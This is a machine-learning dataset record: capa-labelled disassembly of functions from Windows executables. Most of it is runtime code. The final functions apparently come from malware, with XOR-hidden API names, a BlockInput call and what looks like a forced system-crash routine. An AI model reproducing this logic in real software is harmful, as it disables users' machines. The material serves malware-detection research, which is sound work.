joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5966d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbx, qword [0x0063ef90]
test rbx, rbx
je 0x5968a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rbx, rbx
je 0x5968a0
mov rax, qword [rbx + 0x10]
lea rbp, [rsp + 0x20]
mov rdx, qword [rbx + 0x18]
lea rsi, [rsp + 0x30]
mov rcx, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
call fcn.00595f50
lea rax, [rbx + 0x38]
mov rcx, rsi
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
xchg qword [rax], rcx
test rcx, rcx
je 0x59679c
mov qword [rcx + 8], rsi
lea rdx, [rcx + 0x18]
xor eax, eax
mov rcx, 0xffffffffffffffff
lock cmpxchg qword [rdx], rcx
test rax, rax
mov rcx, rax
je 0x596787
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea r12, [rsi + 0x10]
xor edi, edi
lock xadd qword [r12], rdi
test rdi, rdi
je 0x5968b0
mov dword [rbx + 0x28], 6
mov r8, qword [rsp + 0x30]
lea rax, [rsi + 8]
xor edx, edx
lock xadd qword [rax], rdx
test rdx, rdx
mov rcx, rdx
je 0x5968f0
add rcx, 0x10
xor eax, eax
mov rdx, 0xffffffffffffffff
lock cmpxchg qword [rcx], rdx
test rax, rax
mov rcx, rax
je 0x5967df
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [rbx + 0x178]
mov esi, 0xffffffff
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
test rax, rax
jne 0x59681b
jmp 0x596865
add r8, 8
mov eax, esi
xchg dword [r8], eax
mov rcx, qword [rdx + 0x20]
call rdi
mov rax, qword [rbx + 0x178]
test rax, rax
je 0x596865
mov rdx, qword [rax]
mov r9, qword [rdx + 0x28]
mov r10, qword [rdx + 0x10]
mov qword [rdx + 0x10], rbx
mov rax, qword [r9 + 0x18]
test rax, rax
je 0x59683b
mov rcx, qword [r9 + 0x10]
mov qword [rax + 0x10], rcx
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x596848
mov qword [rcx + 0x18], rax
cmp r9, qword [r10 + 0x178]
mov r8, r9
jne 0x596800
mov rax, qword [r9 + 0x18]
mov qword [r10 + 0x178], rax
mov r8, qword [rdx + 0x28]
jmp 0x596800
cmp dword [rbx + 0x184], 1
jne 0x5968a0
mov rax, qword [rbx + 0x10]
mov rcx, rbp
mov rdx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
call fcn.00595c50
mov rax, qword [0x0063ef90]
xor edx, edx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop dword [rax]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov r13, rax
mov rax, rdi
lock cmpxchg qword [r12], r13
test rax, rax
je 0x5968df
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x59679c
mov edx, 0xffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x5968d1
mov rax, rsi
lock cmpxchg qword [r8], rdx
cmp rsi, rax
je 0x5967df
lea rcx, [rsi + 0x18]
lock xadd qword [rcx], rdx
test rdx, rdx
je 0x59691f
add rsi, 8
xor ecx, ecx
lock xadd qword [rsi], rcx
jmp 0x5967bf
call fcn.00595950
jmp 0x59690f
Function at 0x599da0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x0063ef88]
test rbx, rbx
je 0x599e02
mov esi, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rbx, rbx
je 0x599e02
test esi, esi
je 0x599de7
mov rax, qword [rbx]
test rax, rax
je 0x599de7
mov rcx, qword [rbx + 8]
call rax
mov rdx, qword [rbx + 0x10]
mov rcx, qword [0x0063ef88]
call fcn.005998e0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x599e10
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x0063ef88]
test rsi, rsi
mov rbx, rcx
mov qword [rcx], rdx
mov qword [rcx + 8], r8
je 0x599e70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rsi]
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, ebp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rsi, qword [0x0063ef88]
mov rdx, rbx
mov rcx, rsi
mov qword [rbx + 0x10], rdi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.005998e0
xor edi, edi
jmp 0x599e50

Function at 0x599e80
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, qword [0x0063ef90]
test rsi, rsi
mov rbx, rcx
je 0x599ee2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rsi]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x599ee2
mov rdi, qword [rsi + 0x18]
mov rsi, qword [rsi + 0x10]
mov qword [rbx], rsi
mov qword [rbx + 8], rdi
mov rax, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r12, [rsp + 0x40]
mov rcx, r12
call fcn.00597300
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
test rbp, rbp
mov rsi, rbp
je 0x599ec7
or byte [rbp + 0x194], 1
mov dword [rbp + 0x184], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r13, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbp + 0x198], eax
call r13
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r14, rax
call r13
lea r9, [rbp + 8]
mov r8, r15
mov rdx, r14
mov rcx, rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x599f90
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rcx, qword [0x0063ef90]
mov rdx, rbp
mov dword [rbp + 0x188], eax
call fcn.005998e0
jmp 0x599ec7
mov rcx, r12
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rdi
call fcn.00597160
mov qword [rbx], 0
mov dword [rbx + 8], 0
jmp 0x599ece
Function at 0x599fc0
Capabilities:
Create thread
Resume thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
test rdx, rdx
mov r12, rcx
mov r14, r8
mov dword [rcx + 8], 0
mov r13, r9
je 0x59a100
mov rbp, qword [rdx]
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.00597300
mov rbx, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
test rbx, rbx
je 0x59a0d0
mov ecx, 0x20
call sub.msvcrt.dll_malloc
test rax, rax
mov rsi, rax
je 0x59a0d0
test rbp, rbp
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r13
je 0x59a130
mov eax, dword [rbp + 0x18]
mov r14, qword [rbp + 0x10]
mov r13d, dword [rbp + 0x1c]
mov dword [rbx + 0x184], eax
mov eax, dword [rbp + 0x20]
test eax, eax
je 0x59a110
mov dword [rbx + 0x28], 0
xor ecx, ecx
mov r9, rsi
mov edx, r14d
lea rax, [rbx + 0x198]
mov qword [rbx + 0x58], 0
lea r8, [0x00599ce0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rbp, rax
mov qword [rbx + 8], rax
je 0x59a180
mov r8d, r13d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
call fcn.00597f70
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [r12], rbx
xor eax, eax
mov qword [r12 + 8], r15
jmp 0x59a0e7
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
call fcn.00595c50
mov eax, 0xb
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor ebp, ebp
jmp 0x599fec
mov rcx, rdi
call fcn.00599e80
mov rax, qword [rsp + 0x30]
mov r13d, dword [rax + 0x188]
jmp 0x59a056
mov dword [rbx + 0x28], 0
xor edx, edx
xor ecx, ecx
mov r9, rsi
lea rax, [rbx + 0x198]
mov qword [rbx + 0x58], 0
lea r8, [0x00599ce0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rbp, rax
mov qword [rbx + 8], rax
jne 0x59a0b5
nop word [rax + rax]
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
call fcn.00595c50
mov rcx, rsi
call sub.msvcrt.dll_free
mov eax, 0xb
jmp 0x59a0e7

Function at 0x5a0bc0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
test rcx, rcx
je 0x5a0bf3
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret
xor ebx, ebx
jmp 0x5a0be9
Function at 0x5a0c00
Capabilities:
Get thread local storage value

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov edi, ecx
mov rcx, qword [0x0063ef90]
call fcn.005a0bc0
mov rsi, rax
mov dword [rax + 0x28], 5
lea eax, [rdi - 1]
cmp eax, 1
jbe 0x5a0c38
mov ecx, 1
call sub.msvcrt.dll_exit
test byte [rsi + 0x194], 1
jne 0x5a0cb2
mov rbx, qword [0x0063ef88]
test rbx, rbx
je 0x5a0ca7
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x5a0c8f
mov r8, qword [rbx]
test r8, r8
je 0x5a0c73
mov rcx, qword [rbx + 8]
call r8
mov rdx, qword [rbx + 0x10]
mov rcx, qword [0x0063ef88]
call fcn.005998e0
mov rbx, qword [0x0063ef88]
test rbx, rbx
je 0x5a0ca7
call r13
mov ecx, dword [rbx]
mov r14d, eax
call r12
mov ecx, r14d
mov rbx, rax
call rbp
test rbx, rbx
jne 0x5a0c64
lea rcx, [rsi + 0x70]
mov edx, edi
call sub.msvcrt.dll_longjmp
or ecx, 0xffffffff
cmp edi, 2
jne 0x5a0cc9
cmp dword [0x0063ef98], 0
jne 0x5a0cce
call qword [sym.imp.msvcrt.dll__endthreadex]
mov ecx, dword [rsi + 0x48]
jmp 0x5a0cba
mov dword [rsp + 0x2c], ecx
call fcn.005966d0
mov ecx, dword [rsp + 0x2c]
jmp 0x5a0cc3
Function at 0x5a7220
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, 1
test edx, edx
mov rbx, rcx
cmovg esi, edx
cmp edx, 0x3ffffff
jg 0x5a7298
movsxd rdx, dword [rcx]
movsxd r8, esi
shl r8, 3
test edx, edx
je 0x5a7278
mov rax, qword [0x0062b2e0]
shl rdx, 3
mov rcx, qword [rcx + 8]
call qword [rax]
mov edx, dword [rbx + 4]
mov ecx, dword [rbx + 4]
sar edx, 0x1f
xor ecx, edx
sub ecx, edx
cmp ecx, esi
jg 0x5a72c8
mov qword [rbx + 8], rax
mov dword [rbx], esi
add rsp, 0x28
pop rbx
pop rsi
ret
mov rax, qword [0x0062b2a0]
mov rcx, r8
call qword [rax]
mov qword [rbx + 8], rax
mov dword [rbx], esi
add rsp, 0x28
pop rbx
pop rsi
ret
mov ecx, 2
call qword [fcn.005ca550]
lea rcx, str.gmp:_overflow_in_mpz_type_n
mov r9, rax
mov r8d, 0x1a
mov edx, 1
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop word [rax + rax]
mov dword [rbx + 4], 0
jmp 0x5a726b

Function at 0x5c28d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.005ca550
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.005ca550
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x5c2940
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x0063f5b4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x5c2ae8
mov rax, qword [0x0063f5b8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x5c298c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x5c2a17
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x5c2970
mov rcx, r12
call fcn.005c36a0
mov rbp, rax
test rax, rax
je 0x5c2b22
mov rax, qword [0x0063f5b8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.005c37d0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0063f5b8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x5c2b31
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x5c2a10
sub eax, 4
and eax, 0xfffffffb
jne 0x5c2aa0
add dword [0x0063f5b4], 1
cmp ebx, 8
jae 0x5c2a48
test bl, 4
jne 0x5c2af0
test ebx, ebx
je 0x5c2a39
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x5c2b10
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x5c2a39
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x5c2a7a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x0063f5b8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x5c2a10
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.005c28d0
nop dword [rax]
xor edi, edi
jmp 0x5c2997
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x5c2a39
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x5c2a39
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.005c28d0
mov rax, qword [0x0063f5b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.005c28d0
nop
nop dword [rax]
Function at 0x5c3310
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0063f8a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0063f880]
test rbx, rbx
je 0x5c3364
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x5c335b
test r12, r12
je 0x5c335b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x5c3340
lea rcx, [0x0063f8a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x5c36a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x0062b310]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x5c3719
mov rcx, r10
call fcn.005c3570
test eax, eax
je 0x5c3719
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x5c3716
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x5c370d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x5c3719
add r8, 0x28
cmp r8, r9
jne 0x5c36f8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140005680
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x100
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov rsi, rdx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rdx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400056cb
mov rdx, qword [rdx]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], send
mov byte [rcx], 0
mov dword [rsp + 0x20], 2
mov dword [rsp + 0x48], 0x67452301
mov dword [rsp + 0x4c], 0xefcdab89
mov dword [rsp + 0x50], 0x98badcfe
mov dword [rsp + 0x54], 0x10325476
mov qword [rsp + 0x40], r14
mov r8d, eax
lea rcx, [rsp + 0x40]
call fcn.1400051c0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140005290
mov rdi, r14
mov r15d, 0x57
nop dword [rax]
nop word [rax + rax]
movzx ebp, byte [rsp + rdi + 0xe0]
movzx eax, bpl
shr al, 4
mov ecx, 0x30
cmp al, 0xa
cmovae ecx, r15d
add cl, al
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
cmp rdx, r8
jae 0x140005787
lea rax, [rdx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp r8, 0x10
jb 0x14000577d
mov rax, qword [rbx]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000579a
movzx r9d, cl
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.140022530
and bpl, 0xf
mov ecx, 0x30
cmp bpl, 0xa
cmovae ecx, r15d
add cl, bpl
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
cmp rdx, r8
jae 0x1400057d9
lea rax, [rdx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp r8, 0x10
jb 0x1400057cf
mov rax, qword [rbx]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x1400057ec
movzx r9d, cl
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.140022530
inc rdi
cmp rdi, 0x10
jb 0x140005740
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x14000582f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000582a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005868
mov rcx, r8
call fcn.14004dbe0
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], send
mov byte [rsi], 0
mov rax, rbx
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.14004dbc0
mov rbx, qword [rsp + 0x140]
add rsp, 0x100
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140007f70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov rbx, rcx
mov qword [rsp + 0x70], rcx
xor esi, esi
mov dword [rsp + 0x38], esi
mov qword [rbp + 0x10], rsi
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x18]
call fcn.140021040
nop
mov qword [rbx], rsi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], send
mov byte [rbx], sil
mov qword [rbx + 0x20], rsi
mov qword [rbx + 0x30], rsi
mov qword [rbx + 0x38], send
mov byte [rbx + 0x20], sil
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x40547e5a
mov word [rsp + 0x34], 0x100
mov ecx, esi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 4
jb 0x140008000
mov byte [rsp + 0x35], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], socket
mov r8d, 4
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.14001f770
mov dword [rsp + 0x38], 7
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x18]
call fcn.14001cc10
cmp byte [rax], 3
jne 0x140008172
mov rdx, qword [rax + 8]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14000806e
mov rdx, qword [rdx]
mov rcx, rbx
call fcn.14001f770
mov dword [rsp + 0x30], 0x49537e56
mov word [rsp + 0x34], 0x100
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 4
jb 0x140008090
mov byte [rsp + 0x35], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], socket
mov r8d, 4
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.14001f770
mov dword [rsp + 0x38], 0x1f
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x18]
call fcn.14001cc10
cmp byte [rax], 3
jne 0x140008134
mov rdx, qword [rax + 8]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400080fa
mov rdx, qword [rdx]
lea rcx, [rbx + 0x20]
call fcn.14001f770
nop
movzx edx, byte [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.14001ffd0
nop
mov rax, rbx
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.14004dbc0
mov rbx, qword [rsp + 0x160]
add rsp, 0x130
pop rdi
pop rsi
pop rbp
ret
mov rcx, rax
call fcn.14001f560
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.14002ff80
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x80]
call fcn.140021c20
lea rdx, [0x140074468]
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14001f560
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.14002ff80
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x80]
call fcn.140021c20
lea rdx, [0x140074468]
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x14000ab90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
je 0x14000abb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x14000aba0
mov byte [rcx + 0xd], 0
mov rax, rcx
ret
Function at 0x14000cac0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov rdi, rdx
mov qword [rbp - 0x38], rdx
test cl, cl
je 0x14000cb6d
lea rdx, [0x1401c77e8]
lea rcx, [rbp - 0x20]
call fcn.14001d9d0
nop
lea rdx, [0x1401c77c8]
lea rcx, [rbp]
call fcn.14001d9d0
nop
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.14001d9d0
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x68]
call fcn.14001d9d0
nop
lea rdx, [rbp]
lea rcx, [rbp - 0x78]
call fcn.14001d9d0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x58]
call fcn.14001d9d0
nop
lea rcx, [rsp + 0x68]
call fcn.14000bfd0
nop
lea rcx, [rbp - 0x20]
call fcn.1400063d0
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, [0x14005a7f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
movdqa xmm0, xmmword [0x140066730]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x1004a49
xor ecx, ecx
lea edx, [rcx + 0x1e]
xor byte [rsp + rcx + 0x30], dl
inc rcx
cmp rcx, 0x12
jb 0x14000cba0
mov byte [rsp + 0x43], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
movdqa xmm0, xmmword [0x140066900]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], 0x100
xor edx, edx
nop dword [rax]
lea ecx, [rdx + 0x1e]
xor byte [rsp + rdx + 0x48], cl
inc rdx
cmp rdx, 0x10
jb 0x14000cbe0
mov byte [rsp + 0x59], 0
lea rdx, [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp - 0x30]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rsi
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call rbx
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000cc6c
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000cc67
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000cca4
mov rcx, r8
call fcn.14004dbe0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], send
mov byte [rdi], 0
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.14004dbc0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
